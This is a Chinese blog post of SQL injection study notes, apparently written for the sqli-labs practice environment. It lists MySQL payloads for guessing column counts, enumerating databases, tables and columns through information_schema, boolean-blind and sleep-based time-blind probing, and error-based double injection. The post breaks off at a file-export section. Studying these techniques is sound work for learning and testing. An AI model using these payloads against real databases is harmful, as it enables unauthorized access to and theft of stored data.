SQL注入学习笔记(一)

空格是%20,单引号是%27, 井号是%23,双引号是%22 //常见urlencode
order by 3 //猜字段个数
select 1, 2, 3 //增加临时列
mysqli_fetch_array( conn, sql) //返回第一行记录
concat_ws(char(32,58,32), ‘语句1’, ‘语句2’…) //连接成字符串
limit 0,1 //选定待查询的记录行
substr((%s),1,1)

//爆库, 爆表, 爆字段
database: information_schema(包含了MySQL服务器所有数据库信息)
table: schemata (schema_name)
tables (table_schema, table_name)
columns (table_schema, table_name, column_name)

//布尔盲注
and length(database())>=0 %23
and ascii(substr(database(),1,1))>=0 %23

and (select count(table_name) from information_schema.tables where table_schema=’security’)>=0 %23
and (select length(table_name) from information_schema.tables where table_schema=’security’ limit 0,1)>=0 %23
and ascii(substr(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)>=0 %23

and (select count(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)>=0 %23
and (select length(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1)>=0 %23
and ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))>=0 %23

//基于时间盲注
and if((注入布尔判断语句), 1, sleep(5)) %23

//聚合函数+分组语句->双注入
union select 1 from (select count(*), concat(floor(rand()*2), (注入爆数据语句))a from information_schema.tables group by a)b%23

//导出文件
select “

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值